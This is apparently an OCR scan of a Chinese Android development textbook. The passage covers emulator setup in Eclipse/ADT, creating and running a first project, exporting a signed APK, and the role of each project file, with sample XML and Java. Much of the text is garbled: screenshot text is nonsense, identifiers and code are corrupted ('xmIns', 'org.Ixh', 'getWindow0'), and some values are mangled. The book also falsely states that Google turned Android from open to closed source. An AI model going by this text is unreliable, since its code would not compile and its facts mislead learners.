六 Bult-in: jefa 要 (WVGAS60) 三 Bultin: |Defadt (Wxca) 回 
Resoltion: [G50 x joo {Resolstion; [1250 x loo 
Hardware; Hardware: 
Propety vae | [New.. Value Rew 
让 EE ra ee 
Max VM applcation heap size 24 Delete Keyboard 加 no Daete 
Device ram size 256 Max YM application heap size 48 
Device ram sze 256 


Overmde the exjsting AVD Wh the sarme reme Overde the eet AYO wRH He Same ree 


[Eee] cure | 
(a) 配置 2.3 版 本 的 SDK (b) 配置 3.1 版 本 的 SDK 
图 2-23 在 ADT 中 配置 要 使 用 的 Android 版 本 
在 建立 开发 的 SDK 时 ，Hardware 配置 选项 的 主要 功能 是 配置 Android 虚拟 机 所 支持 的 硬件 
设备 ， 直 接 单 击 New 按钮 即 可 配置 硬件 设备 的 支持 ， 如 图 2-24 所 示 。 
一 一 一 一 一 习 
Property; 


|pPad support 
;|Accelerometer 
IMaximum oreontal camera pixels 


[Eeese]_ co | 


图 2-24 配置 Android 虚拟 机 的 硬件 设备 
图 2-24 中 列 出 了 Android 虚拟 机 中 的 主要 硬件 配置 属性 ， 常 用 的 配置 属性 如 表 2-2 所 示 。 


en 
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表 2-2 Android 硬件 常用 的 配置 属性 


No 描述 

配置 SD 卡 的 容量 ， 本 次 设置 为 512MB 
hw.keyboard.lid 是 否 配置 物理 键盘 
hw.ramSize 配置 虚拟 机 的 RAM 大 小 
hw.led.density 屏幕 的 密度 
Abstracted LCD density 手机 的 分 辩 率 


在 本 配置 中 ， 配 置 了 两 个 不 同 版 本 的 Android-SDK， 而 且 配 置 的 SD 卡 容量 都 是 512MB， 
这 两 个 版 本 的 SDK 屏幕 大 小 设置 分 别 如 下 。 
Android 2.3: 主要 用 于 手机 ， 分 辩 率 设置 为 330〈 宽 ) X500 (高 ) 。 
Android 3.1: 主要 用 于 平板 电脑 ， 分 辨 率 设置 为 1280〈 宽 ) X800 (高 ) 。 
(14) 配置 完 要 使 用 的 SDK 版 本 之 后 ， 将 出 现 如 图 2-25 所 示 的 界面 。 


芒 Android SDK and AYD Manager iolxl 


w|i | | 


instaled packages 
Available packages 


~ Avald Android Virtual Device， Arepairable Androld Vetual Device. 
XK An Android Vrtual Device thak faled to load. Clck Detals to see the error 


图 2-25 在 ADT 中 配置 完成 SDK 
提示 
所 有 配置 保存 在 磁盘 上 。 


在 用 户 配 置 Android 虚拟 机 时 ， 所 有 的 虚拟 机 配置 都 会 保存 在 C:\Documents and 
Settings\Administrator\.android\avd 目录 中 ， 此 时 目录 显示 如 图 2-26 所 示 。 


KMD MD EE WR IRD POD 。。、 | 

OA © TI OW wR | | 

kD) [DS ci\pocumerts and Settings\admnistrator\.androxdhard 可 回 末 | 
文件 和 文件 豆 任 务 。 全 | Androd_2.3.avd | indo 3.1.avd 


加 妾 一 个 新 文件 夹 
全 村 这 个 文件 发 布 到 | Androd 2.3m 
已 i 攻 , 1 
型 
图 2-26 配置 的 Android 保存 目录 


所 有 用 户 在 建立 虚拟 机 时 所 配置 的 属性 ， 都 会 自动 保存 在 每 一 个 虚拟 机 配置 文件 夹 的 
config.xml 文件 中 。 


准备 完成 之 后 ， 下 面 就 可 以 开始 建立 Android 项 目 了 。 
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2.3 开发 第 一 个 Android 项 目 


(1) 配置 完 ADT 的 Eclipse 后 ， 可 以 直接 进行 Android 项 目的 开发 ， 与 一 般 的 Java 开发 项 
目 一 样 ， 首 先 需要 建立 一 个 Android 项 目 : 选择 New 命令 , 在 打开 的 界面 中 选择 Android Project 
选项 ， 如 图 2-27 所 示 。 

(2) 建立 项 目 时 ， 输 入 项 目 名 称 MyFirstAndroidProject， 如 图 2-28 所 示 。 此 外 ， 还 会 出 现 
许多 信息 项 ， 如 图 2-29 所 示 。 


New Android Project 
Cretes now Android Project resouree, 


roect nomes MyFrstardroiProject 
contomts 
Geae ren poPcm vatare 

Goate propt fon exbtingseurce 

FF edufa lccin 

Lore FORA Lp 

Greate propd fon evieting canele 


Serpes: [rT 三 


andraid Open Sourc Preject 


2 
Andreid Open Sourcs Prejeck 3 
ooge nc 3 
Andreid Open Sourcs Prciett 4 
(Google nc 4 
Andreid Open sourcs reject 5 
‘oogke nc z0 5 
6 
6 
7 
5 
1 
1 
#4 


-ox 


AndraidOpen sourcs Preject 204 
Soogh ne 201 
Select a wizard -一 Andrcid Open Sourcs Prcject 2 lupdetel 

Androd Open sourcs project zz 
Andreid Open source Prciett 233 0 

= rdraid Open sourc prject 30 1 
ndred Open sourcs roeject a 

ardadandod paferm zol 


记 
0 Androld Test Project 


mdrou mm Fio Votepwy feo 


es | wes co 


图 2-27 建立 Android 项 目 图 2-28 建立 MyFirstAndroidProject 项 目 


图 2-29 输入 项 目的 相关 属性 
这 些 信 息 项 的 设置 如 下 。 
Application name〔 应 用 程序 的 项 目 名 称 ) : myfirst。 
Package name (程序 所 在 包 的 名 称 ) : org.lxh.demo。 
Create Activity (创建 的 Activity 程序 的 名 称 ) : Hello。 
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Min SDK Version (最 低 运 行 的 SDK 版 本 ) : 10。 
对 于 程序 最 低 的 运行 版 本 ， 实 际 上 是 由 每 个 Android-SDK 自己 定义 的 ， 这 些 版 本 如 图 2-30 
所 示 。 


版 本 要 统一 。 : 
从 图 2-28 可 以 发 现 ， 由 于 现在 使 用 的 是 Android 2.3 版 本 ， 所 以 在 填写 Min SDK Version ， 
时 输入 的 API 级别 是 “10”， 这 两 者 必须 统一 。 


PE 


提示 

如 果 为 平板 电脑 项 目 ， 则 选择 Android 3.0 以 上 版 本 。 

在 本 项 目 中 配置 了 两 个 Android 开发 的 SDK， 如 果 现 在 用 户 要 开发 的 是 平板 电脑 ， 则 可 
;以 直接 选择 在 Android 3.0 或 者 是 在 Android 3.1 上 建立 项 目 ， 则 对 应 的 Min SDK Version 要 
， 设 置 为 相应 的 版 本 编号 ， 例 如 ， 如 果 建 立 的 项 目 是 Android 3.1， 则 API 级 别 应 该 是 “12” 


(3) 建立 完 项 目 之 后 ， 可 以 在 项 目 中 发 现 如 图 2-31 所 示 的 目录 结构 信息 。 


日 三 a 2.3.3 
由 -四 android,jar - E;\android-sdk-windows\platforms\android-10 
BS assets 
Buld Target 日 名 res 
Nome Tvendor Teeem [tc |] BB dawablehdpl 
日 ed 全 Androd Open Source Project mm 2 icon,png 
Androd 1.5 Androld Open Source Project 15 3 由 
日 coogeapr Google Inc. 15 3 人 deweblo-klpl 
日 Androd 1,6 Androd Open Source Project 16 4 网 con.pne 
Google APls Google Inc, 1.6 4 白色 . 
Androd2.0 Androd Open Source Project 20 5 中 doweblendpl 
日 coooeapls Google Inc. 2.0 8 网 con.png 
Androd2.0 Androd Open Source Project 2.0.41 6 BB layout 
je API5 Google Inc, 2.0.1 6 
口 andod 2,1-updatel Android Open Source Project Zi-updatel 7 四 main,xml 
口 dodz2 Androd Open Source Project 22 8 日 - 它 vaues 
习 andodz33 Android Open Source Project 233 10 
口 andod3o Android Open Source Project 3.0 1 Mstrings.xml 
口 andod34 Androld Open Source Project 341 12 回 AndroidManifest.xml 
| 国 defaukt,properties 
Standard Android platform 1,1 | 转 proguard.cfg 
图 2-30 选择 支持 的 Android 版 本 图 2-31 Android 项 目的 工作 目录 
rr 
建立 低 版 本 的 Android 项 目 。 


: 由 于 手机 的 实际 使 用 环境 版 本 问题 ， 建 议 读者 使 用 Android 1.5 进行 程序 开发 ， 因 为 有 
”许多 手机 还 不 支持 最 新 的 2.3 版 本 操作 系统 .为 了 兼顾 各 个 版 本 的 SDK， 所 以 选择 最 低 的 一 
“个 版 本 ， 这 样 以 后 如 果 一 个 程序 需要 在 多 个 版 本 下 运行 ， 也 会 相当 方便 。 | 
， 本 书 为 了 可 以 提升 读者 对 新 版 本 操作 系统 的 兴趣 ， 在 此 选择 建立 Android 23 版 本 的 
”Android 项 目 ， 而 在 实际 工作 中 ， 所 建立 的 全 部 项 目 应 该 以 当前 流行 的 最 低 版 本 为 主 。 
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(4) 在 Android 开发 环境 提供 的 模拟 器 上 运行 本 程序 ， 右 击 项 目 名 称 ， 在 弹出 的 快捷 菜单 
中 选择 Run As 一 Android Application 命令 ， 如 图 2-32 所 示 。 


=- A 


暂时 不 要 去 关心 项 目 结构 ， 可 以 运行 即 可 。 
在 图 2-32 所 示 的 项 目 工作 区 中 有 许多 文件 夹 及 文件 , 这 些 文件 夹 及 文件 的 作用 会 在 第 3 
章 进 行 讲解 ， 此 处 只 需要 按照 步骤 执行 即 可 。 


日 名 x New 
中南 om Ga 
a a Open in New Window 
gen Open Type Hierarchy F4 
6 "9 
BE assets [ES Copy Cuhc 
5B Copy Qualfied Name 
多 中 Paste cuhy 
Gs Moelete Delete 
征 
和 站 Buld Path » 
让。 Source Al+Shit+5 » 
人 XRefacktor AR+Shift+T 
pert... EProblems | © Javadoc [[ pedaral 
x Export E 3 
Andr Refresh 5 a | 
ndrol 以 
] defaul 。 Close Project 四 
Progu .assign Working Sets 
Debug ts * Jo Android JUnit Test | 
图 2-32 运行 Android 项目 
(5) 项 目 运行 之 后 ， 会 自动 启动 Android 的 一 个 手机 模拟 器 ， 界 面 如 图 2-33 所 示 。 


对 Android 虚拟 机 而 言 ， 其 默认 的 显示 风格 是 竖 屏 显示 ， 用 户 可 以 按 CtrHF11 组 合 键 改变 
屏幕 方向 ， 改 变 之 后 的 程序 运行 效果 如 图 2-34 所 示 。 

| 5554:Android_2.3 

国 5554:Android_2.3 


3 Wl 加 11:31 


图 2-33 运行 Android 程序 图 2-34 横 屏 显示 程序 


提示 

模拟 器 运行 速度 较 慢 。 

Android 手机 模拟 器 的 运行 速度 较 慢 ， 第 一 次 运行 时 需要 耐心 等 待 一 段 时 间 ， 以 后 如 果 
要 修改 程序 ， 可 以 不 用 重新 启动 虚拟 机 ， 直 接 运 行 即 可 。 


使 用 过 Android 手机 的 用 户 都 应 该 知道 ，Android 手机 上 定义 了 若干 个 操作 按钮 ， 而 这 些 按 
钮 在 新 版 本 的 Android 2.3 SDK 上 并 没有 显示 ， 用 户 可 以 通过 键盘 上 对 应 的 快捷 键 进行 操作 ， 常 
的 快捷 键 如 表 2-3 所 示 。 
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表 2-3 常用 的 Android 虚拟 机 的 快捷 键 


No. 描述 

1 对 应 手机 上 的 Home 按钮 〈 带 小 房子 标记 的 按钮 ) 
2 对 应 手机 上 的 “返回 ”按钮 

3 F2/PageUp 对 应 手机 上 的 Menu 按钮 

4 F3 对 应 拨号 功能 

5 F4 挂 断 电话 或 关闭 手机 屏幕 显示 

6 F5 对 应 搜索 键 

2 F7 关闭 电源 键 

8 关闭 GPRS/3G 网 络 连接 ， 但 是 不 影响 GSM 连接 
9 全 屏 显示 切换 

10 CtrlHF11 屏幕 显示 切换 

11 Delete 使 用 轨迹 球 ( 如 使 用 轨迹 球 浏览 网 页 ) 操作 功能 


由 于 本 项 目 没有 编写 任何 功能 ， 所 以 所 有 的 输出 信息 全 部 都 是 由 项 目 默认 提供 的 ， 读 者 此 
处 只 需要 按照 步骤 执行 即 可 ， 在 随后 章节 会 详细 介绍 Android 手机 的 开发 知识 。 


24 打包 Android 程序 


当 一 个 Android 程序 编写 完成 之 后 ， 可 以 将 程序 进行 打包 ， 以 便 在 手机 上 执行 。Android 操 
作 系 统 与 大 部 分 的 手机 操作 系统 相 比 ， 最 方便 的 地 方 就 在 于 可 以 方便 地 实现 打包 操作 ， 不 再 因 
为 手机 厂商 的 不 同 而 采用 不 同 的 方式 打包 程序 。 


本 


-提示 

Symbian 的 开发 需要 注意 版 本 。 

在 Nokia 推广 Symbian 期 间 ， 很 多 手机 软件 商都 是 依靠 J2ME 进行 的 程序 开发 ， 在 开发 
时 就 必须 考虑 到 各 个 厂商 的 操作 系统 兼容 性 问题 。 例 如 ， 按 照 中 国电 信 的 要 求 ， 一 款 游 戏 开 
发 出 来 之 后 ， 至 少 要 提供 10 个 不 同 厂商 手机 的 开发 版 本 ， 为 程序 的 开发 及 维护 带 来 很 大 的 
不 便 ， 而 Android 的 出 现 解决 了 此 难题 ， 但 也 需要 注意 的 是 ，Android 发 展 之 初 也 有 许多 厂 
商 (如 LG、 三 星 等 ) 根据 自己 的 情况 开发 出 了 适合 于 自己 的 Android 操作 系统 ， 所 以 如 果 
用 户 使 用 的 移动 设备 是 这 些 厂商 所 提供 的 ， 就 需要 下 载 指定 厂商 提供 的 Android 操作 系统 。 
因此 ，Google 公司 为 了 避免 出 现 Symbian 的 究 境 ， 将 Android 系统 由 开源 变 为 封闭 。 


为 了 保证 安装 程序 可 以 正常 地 执行 安装 ， 首 先 需要 修改 AndroidManifestxml 文件 ， 可 以 在 
文件 中 增加 一 个 安装 程序 包 的 权限 。 
【 例 2-1】 在 AndroidManifestxml 文件 中 添加 访问 权限 
<uses-sdk android:minSdkVersion="10"/> <!-- 最 低 版 本 --> 
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/><!-- 安装 权限 --> 
在 Android 操作 系统 中 , 很 多 程序 都 是 需要 一 些 特定 的 访问 权限 的 , 这 些 访 问 权 限 随 着 本 书 
的 逐步 深入 ， 读 者 可 以 了 解 得 更 多 。 
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Android 的 手机 程序 是 以 APK (AndroidPackage) 包 的 形式 提供 给 使 用 者 的 ， 用 户 可 以 在 
Eclipse 中 方便 地 实现 开发 程序 的 打包 操作 ， 具 体 的 操作 步 又 如 下 。 
(1) 选择 File 一 Export 命令 ， 在 打开 的 界面 中 选择 Android 一 Export Android Application 文 
件 ， 如 图 2-35 所 示 。 


(2) 单 击 Next 按钮 ， 选 择 要 导出 的 项 目 ， 此 处 选择 MyFirstAndroidProject， 如 图 2-36 所 示 。 
-lolx 


图 -车 General 
BB android 


€ Export Android Application -olx| 
i 0 Project Checks sD 

日 忆 

由 Performs a set of checks to make sure the applcation can be exported, 

-BS Tasks 
HB Team 
日 包 XM 


图 2-35 导出 Android 应 用 程序 图 2-36 选择 要 导出 的 项 目 
(3) 如 果 要 导出 项 目 ， 则 首先 需要 建立 一 个 证 书 。 单 击 Next 按钮 之 后 可 以 先 创 建 一 个 证 
书 ， 如 图 2-37 所 示 。 
证 书 文件 将 保存 在 卫 盘 的 mldn 文件 中 ， 此 处 设置 的 证 书 密码 为 mldnjava。 
(4) 填写 完整 的 证 书信 息 ， 如 图 2-38 所 示 。 


6 加 
Key Creation [本 
Alas: Ee 京 魔 乐 科技 软件 学院 ( MLDN ) 

Keystore selection A 


画 ET 
图 2-37 创建 一 个 keystore 证 书 图 2-38 填写 证 书 的 详细 信息 


(5) 选择 导出 项 目的 保存 路 径 ， 如 图 2-39 所 示 。 
执行 完毕 之 后 就 可 以 直接 将 导出 的 MyFirstAndroidProject.apk 程序 安装 在 Android 手机 上 执 
行 了 。 如 果 想 将 开发 好 的 程序 发 布 给 所 有 用 户 使 用 ， 则 需要 注册 Google Android Market 后 进行 
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发 布 ， 或 者 是 找 一 些 “ 黑 市 场 ”进行 程序 的 推广 。 


用 户 也 可 以 通过 WinRAR 工具 打开 打包 完成 的 MyFirstAndroidProject.apk 文件 查看 内 容 , 如 
图 2-40 所 示 。 


Export Android Application 


=I9lxl 
Destination and key/ certificate checks 
Destination APK file: Jb:\myFrstandroidProject. apk 
Certificate expires in 25 years, 


图 2-40 打开 APK 文 件 


2.5 本 章 


(1) 如 果 要 进行 Android 手机 的 开发 ， 则 一 定 要 下 载 Android-SDK 开发 工具 
可 完成 程序 的 开发 。 


只 需要 下 载 此 工具 并 配置 SDK 即 
(3) Android 2.3 以 下 的 版 本 主要 是 针对 手机 的 开发 ， 而 Android 3.0 以 上 的 版 本 则 对 应 平 
板 电 脑 的 开发 。 


(4) 在 建立 Android 项 目 时 一 定 要 考虑 到 低 版 本 的 问题 ， 而 配置 的 Min SDK Version (最 
低 运行 的 SDK 版 本 ) 必须 与 选 定 的 Android-SDK 的 开发 级 别 相 匹配 


纪 
(5) 开发 好 的 Android 项 目 可 以 直接 导出 并 在 手机 上 运行 


屋 “人 到 网 
DE>IO 
je | 


Activity 程序 开发 


Android 项 目 组 成 

Activity 程序 的 基本 组 成 

常用 显示 控件 及 布局 管理 

使 用 Intent 完成 多 个 Activity 的 通信 
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通过 本 章 的 学 习 可 以 达到 以 下 目标 : 

可 以 使 用 Eclipse 进行 简单 的 Android 程序 的 开发 。 

掌握 Android 项 目 中 的 各 个 主要 组 成 部 分 及 其 作用 。 

掌握 Android 程序 的 主要 开发 模式 。 

回 掌握 Activity 与 AndroidManifestxml 文件 的 配置。 

在 第 2 章 ， 在 Eclipse 中 配置 完 ADT 插件 后 ， 已 经 简单 地 开发 了 一 个 项 目 ， 但 是 此 项 目 本 
身 没有 编写 任何 的 代码 ， 本 章 将 作为 第 2 章 的 延续 , 编写 一 些 简单 的 Android 程序 ， 并 且 讲解 一 
个 Android 项 目 中 各 个 文件 的 作用 。 


3.1 Activity 简介 


Activity 实际 上 是 一 个 人 机 的 交互 程序 ， 用 于 存放 各 个 显示 控件 ， 也 是 Android 的 基本 组 成 
部 分 。 所 有 的 Android 项 目 都 使 用 Java 语言 进行 开发 ， 所 以 每 一 个 继承 了 android.app.Activity 
的 Java 类 都 将 成 为 一 个 Activity 程序 ， 一 个 Android 项 目 将 由 多 个 Activity 程序 所 组 成 ， 所 有 的 
显示 组 件 都 必须 放 在 Activity 上 才 可 以 进行 显示 。android.app.Activity 类 的 继承 结构 如 下 : 
java.lang.Object 


b android.content.Context 
b android.content.ContextWrapper 
b android.view.ContextThemeWrapper 


b android.app.Activity 
通过 Activity 类 的 继承 结构 可 以 发 现 ， 它 是 Context 的 子 类 ， 而 Context 表示 整个 Activity 
程序 的 上 下 文 ， 在 Android 项 目 开发 中 ， 很 多 地 方 都 要 使 用 到 Activity 类 所 定义 的 方法 ， 常 见 的 
方法 如 表 3-1 所 示 。 
表 3-1 Activity 类 的 常用 方法 


No. 方 ” 法 描述 
1 public final View findViewById (int id) 浴 六 根据 组 件 的 ID 取得 组 件 对 象 
2 public void setEnabled (boolean enabled) 普 j 设置 是 否 可 编辑 
3 public void setFocusable (boolean focusable) 普 j 设置 是 否 默认 取得 焦点 
4 public final void setProgress(int progress) 六 六 设置 ProgressBar 的 进度 
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x 


No. 描述 
Public final void setSecondaryProgress(int 设置 第 二 进度 条 的 进度 
secondaryProgress) 
6 public Window getWindow0) 取得 一 个 Window 对 象 
学 public void setContentView(int layoutResID) 设置 显示 组 件 
8 public void setContentView(View view) 设置 显示 组 件 


表 3-1 只 是 列举 出 了 当前 章节 中 所 需要 的 一 些 方法 ， 在 Activity 类 中 提供 了 Menu、Intent 
和 Services 操作 等 多 种 支持 ， 在 讲解 相关 知识 点 时 会 将 方法 列 出 。 


3.2 ” Android 项 目 工 作 区 的 组 成 


第 2 章 中 ， 在 第 一 个 项 目 建立 完成 之 后 ， 工 作 区 如 图 3-1 所 示 。 


日 - 鼠 org.lxh.demo 
由 - 田 Hello,java 


日 器 9 [Generated Java Files] 
日 -出 org.lxh.demo 
HD R,java 
日 -到 Android 2,3,3 
外 “eg android,jar - E'\android-sdk-windows\platforms\android-10 
BS assets 
日 名 res 
EB drawable-hdpi 
网 icon.png 
EB drawable-ldpi 
icon,png 
EB drawable-mdpi 
网 iconpng 
EB layout 
X] main,xml 
EB values 
Nstrings.xml 
了 AndroidManifest,xml 
目 default,properties 
| proguard,cfg 


图 3-1 Android 项 目的 目录 结构 
从 图 3-1 中 可 以 发 现 , 建立 完 的 Android 项 目 包 含 许多 文件 和 文件 夹 , 它们 都 与 开发 有 直接 
关系 ， 其 中 ， 文 件 夹 的 作用 如 表 3-2 所 示 ， 文 件 的 作用 如 表 3-3 所 示 。 
表 3-2 Android 项 目 中 文件 夹 的 作用 


No. 文 件 夹 描 述 


1 | 二 | 存放 所 有 的 * java 源 程序 
可 区 为 ADT 插件 自动 生成 的 代码 文件 保存 路 径 ， 其 中 的 Rjava 文件 将 保存 所 有 的 
资源 ID 
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No. 文 件 夹 描述 
表示 现在 使 用 的 Android-SDK 的 版 本 是 2.3.3， 如 果 建立 项 目 时 选择 1.5 版 本 ， 
bE， Android 2.3.3 和 
则 此 处 为 Android 1.5 


4 |assets 可 以 存放 项 目 中 一 些 较 大 的 资源 文件 ， 如 图 片 、 音 乐 、 字 体 等 
可 以 存放 项 目 中 所 有 的 资源 文件 ， 如 图 片 (*.png、*.jpg) 、 网 页 〈*-html) 、 
3 res 文本 等 


6 | res\drawable-hdpi | 保存 高 分 辨 率 图 片 资源 ， 可 以 使 用 Resources.getDrawable(id) 方 法 获得 资源 类 型 
7 | res\drawable-ldpi | 保存 低 分 辩 率 图 片 资 源 ， 可 以 使 用 Resources.getDrawable(id) 方 法 获得 资源 类 型 
8 “| res\drawable-mdpi | 保存 中 等 分 辩 率 图 片 资源 ， 可 以 使 用 Resources.getDrawable(id) 方 法 获得 资源 类 型 

存放 所 有 的 布局 文件 ， 主 要 是 用 于 排列 不 同 的 显示 组 件 ， 在 Android 程序 中 要 


9 res\layout 


读 取 此 配置 
存放 一 些 资 源 文件 的 信息 ， 用 于 读 取 文本 资源 ， 在 本 文件 夹 中 有 一 些 约定 的 文 
件 名 称 。 


arraysxml:， 定义 数组 数据 

回 colorsxml: 定义 表示 颜色 的 数据 

10 | resvvalues 回 dimensxml: 定义 尺度 ， 可 以 使 用 Resources.getDimension() 方 法 获得 
这 些 资源 

回 strings.xml: 定义 字符 串 ， 可 以 使 用 Resources.getString0 或 Resources. 
getText0 方 法 获得 这 些 资源 

加 _styles.xml: 定义 显示 的 样式 文件 


自 定 义 的 一 些 原生 文件 所 在 目录 ， 如 音乐 、 视 频 等 文件 格式 ， 可 以 使 用 


11 | resvaw Resources.getRawResource() 方 法 获得 这 些 资 源 

六 | 用 户 自 定义 的 XML 文件 ， 所 有 的 文件 在 程序 运行 时 编译 到 应 用 程序 中 ， 在 程 
一 | | 序 运行 时 可 以 使 用 ResourcesgetXMLO 方 法 获取 

13 | res\anim 用 于 定义 动画 对 象 


考虑 到 以 后 的 学 习 ， 在 表 3-2 中 还 列 出 了 许多 以 后 要 用 到 的 文件 夹 。 但 是 切记 一 点 ， 在 
Android 项 目 中 ，src 目录 保存 的 所 有 程序 都 是 Java 程序 ， 更 加 准确 的 说 法 是 ，src 目录 中 保存 了 
所 有 的 Activity 程序 。 


SR 人 
提问 : res 和 assets 文件 夹 有 什么 区 别 ? 
在 表 3-2 中 ，asserts 和 res 文件 夹 都 可 以 存放 项 目的 资源 文件 ， 那 么 这 两 个 有 什么 区 别 ， 
使 用 哪 一 个 更 好 呢 ? 
回答 : 使 用 res 更 加 方便 。 
i 在 开发 中 ，assets 和 res 文件 夹 都 可 以 存放 资源 ， 但 是 如 果 将 资源 保存 在 res 文件 夹 中 ， 
: ADT 插件 会 自动 帮助 用 户 在 Rjava 文 件 中 生成 相应 的 人 D， 一旦 生成 了 这 些 ID， 以 后 在 用 户 
所 编写 的 程序 中 就 可 以 直接 通过 ID 取得 各 种 所 需要 的 控件 ， 而 放 在 assets 文件 夹 中 的 资源 
文件 是 不 会 自动 生成 ID 的 ， 所 以 开发 中 建议 读者 使 用 res 文件 夹 保存 资源 文件 。 
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rr 


-提示 
关于 保存 图 片 的 3 个 文件 夹 的 说 明 。 
在 一 个 Android 项 目 中 , 存在 3 个 存放 图 片 资 源 的 文件 夹 : drawable-hdpi、 drawable-ldpi、 
drawable-mdpi， 由 于 Android 手机 过 多 ， 而 不 同 的 手机 的 屏幕 大 小 不 一 ， 为 了 图 片 的 显示 效 
果 更 好 ， 建 议 用 3 个 文件 夹 存 放 不 同 分 辩 率 的 图 片 。 


表 3-3 Android 项 目 中 文件 的 作用 


No. 文 件 描述 
1 | Hellojava 为 Activity 程序 ， 类 似 于 Java 程序 中 的 主 类 


项 目 中 所 需要 的 图 片 资源 文件 ， 在 drawable-hdpi、 drawable-ldpi 、 
drawable-mdpi 文件 夹 中 分 别 保存 不 同 分 辩 率 的 图 片 
main.xml 配置 所 有 的 控件 

4 | strings.xml 配置 所 有 的 资源 信息 
此 文件 为 自动 生成 并 自动 维护 的 ， 当 用 户 向 drawable-hdpi、drawable-ldpi、 
drawable-mdpi 文件 夹 中 添加 图 片 ， 或 者 在 main.xml 文件 中 配置 控件 以 及 
在 strings.xml 文件 中 定义 文本 信息 时 ， 都 会 自动 在 此 文件 夹 中 生成 一 个 唯 

-的 ID， 以 供 程序 使 用 
6 为 Android 的 主要 配置 文件 ， 用 于 配置 各 个 组 件 或 一 些 访问 权限 等 


本 Android 项 目的 属性 定义 文件 


了 解 了 这 些 文件 信息 之 后 ， 下 面 分 别 来 观察 这 些 文件 中 的 内 容 。 
【 例 3-1】 观察 values\strings.xml 文件 
<?xml version= "1.0" encoding="utf-8"?> 
<resources> 
<string name="hello">Hello World, Hellol</string> 
<string name="app_name">myfirst</string> 
</resources> 
在 一 个 新 建立 的 Android 项 目 中 ,会 自动 生成 以 上 字符 串 内 容 ， 第 2 章 所 运行 的 第 一 个 
Android 程序 ， 默 认 出 现 的 效果 就 是 这 些 文字 信息 。 
【 例 3-2】 浏览 Rjava 程序 
package org.Ixh.demo; 
public final class R{ 
public static final class attr { 


2 icon.png 


5 | Rjava 


public static final class drawable { 

public static final int /con=0x7f020000; 
} 
public static final class layout { 

public static final int main=0x7f030000; 


public static final class string { 
public static final int app_name=0x7f040001; 
public static final int he/lo=0x7f040000; 
public static final int info=0x7f040002; 
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Rjava 是 一 个 资源 文件 ， 其 中 为 所 有 的 图 片 或 者 文本 信息 (strings.xml 文件 定义 ) 都 定义 了 
唯一 的 一 个 了 D 号 ， 此 文件 由 ADT 插件 自动 生成 ， 用 户 不 能 对 其 做 任何 修改 。 
【 例 3-3】 观察 layoutmain.xml 文件 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /使 用 线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertica/" /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TextView // 定 义 文本 显示 组 件 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="@string/hello”" /> // 组 件 的 默认 显示 文字 ， 从 strings.xml 中 读 取 
</LinearLayout> 


本 配置 文件 首先 定义 了 一 个 <LinearLayout> 节 点 ， 表 示 采 用 的 是 线性 布局 ， 之 后 定义 了 如 下 
3 个 属性 。 

android:orientation="vertical": 表示 现在 所 有 的 组 件 采 用 垂直 方式 排列 。 

android:layout width="fill parent": 表示 现在 的 组 件 宽度 将 填 满 整个 手机 屏幕 。 

android:layout _ height="fill parent": 表示 现在 的 组 件 高 度 将 填 满 整个 手机 屏幕 。 


关于 布局 管理 器 的 说 明 。 

任何 GUI 程序 开发 都 会 涉及 布局 管理 器 的 概念 ， 布 局 管理 器 可 以 帮助 用 户 摆 放 所 有 的 
UI 组 件 , 本 书 将 在 第 5 章 中 讲解 布局 管理 器 的 应 用 ,如 果 读 者 在 此 之 前 完全 没有 布局 管理 器 
的 概念 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 一 书 的 第 18 章 内 容 。 | 


在 默认 情况 下 , 一 个 Android 项 目 建立 完成 后 会 自动 增加 一 个 文本 显示 组 件 , 此 组 件 会 自动 
在 main.xml 文件 中 通过 <TextView> 节 点 配置 ， 此 节点 下 定义 了 如 下 3 个 属性 。 
回 android:layout width="fill parent": 表示 组 件 的 宽度 将 占据 整个 屏幕 的 宽度 。 
回 android:layout height="wrap_content": 表示 包 庄 显示 的 内 容 ， 即 组 件 的 高 度 与 显示 文字 
的 高 度 一 样 。 
回 android:text="@string/hello": 表示 组 件 显示 的 内 容 由 strings.xml 文件 中 的 hello 这 个 key 
决定 。 


rr 


证 下 
”” 先 使 用 再 研究 组 件 意义 。 
<TextView> 属 于 Android 中 的 UI 组 件 ， 对 于 这 些 组 件 ， 如 果 暂 时 不 清楚 也 没有 关系 ， 
因为 本 书 在 第 4 章 中 将 详细 介绍 这 些 常用 的 控件 。 


【 例 3-4】 观察 Hellojava 程序 一 一 Activity 程序 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
public class Hello extends Activity { 
@Override 
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public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 调 用 父 类 的 onCreate() 方 法 
super.setContentView(R.layout.main); // 调 用 布局 文件 


} 


} 

本 程序 为 Android 项 目的 主体 程序 ， 在 Android 项 目 中 ，Activity 是 一 个 基本 的 组 成 ， 所 以 
定义 Hello 类 时 让 其 继承 Activity 类 , 而 本 类 中 的 onCreate0 方 法 就 是 启动 此 Activity 时 要 默认 调 
的 方法 (此 方法 为 生命 周期 控制 方法 ， 将 在 第 9 章 中 讲解 ) 。 

在 项 目 开发 中 ， 所 有 的 Activity 程序 都 在 AndroidManifestxml 文件 中 进行 注册 ， 所 以 
AndroidManifestxml 文件 是 整个 Android 项 目的 核心 配置 文件 。 
【 例 3-5】 观察 AndroidManifest.xml 文件 内 容 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http://schemas.android.com/apK/res/android" 


package="org./xh.demo” // 应 用 程序 所 在 的 包 名 称 
android:versionCode="1" // 表 示 程 序 版 本 ， 以 后 有 新 的 版 本 则 加 1， 如 2 版 
android:versionName="1.0"> // 显 示 给 用 户 的 信息 
<application // 表 示 应 用 程序 的 配置 
android:icon="@drawable/icon”" // 配 置 整个 应 用 程序 的 图 标 
android:label="@string/app_name"> // 配 置 的 是 标签 显示 信息 ， 从 strings.xml 中 读 取 
<activity // 配 置 程序 中 要 使 用 的 Activity 程序 
android:name=". Hello” /指定 Activity 程序 的 类 名 称 
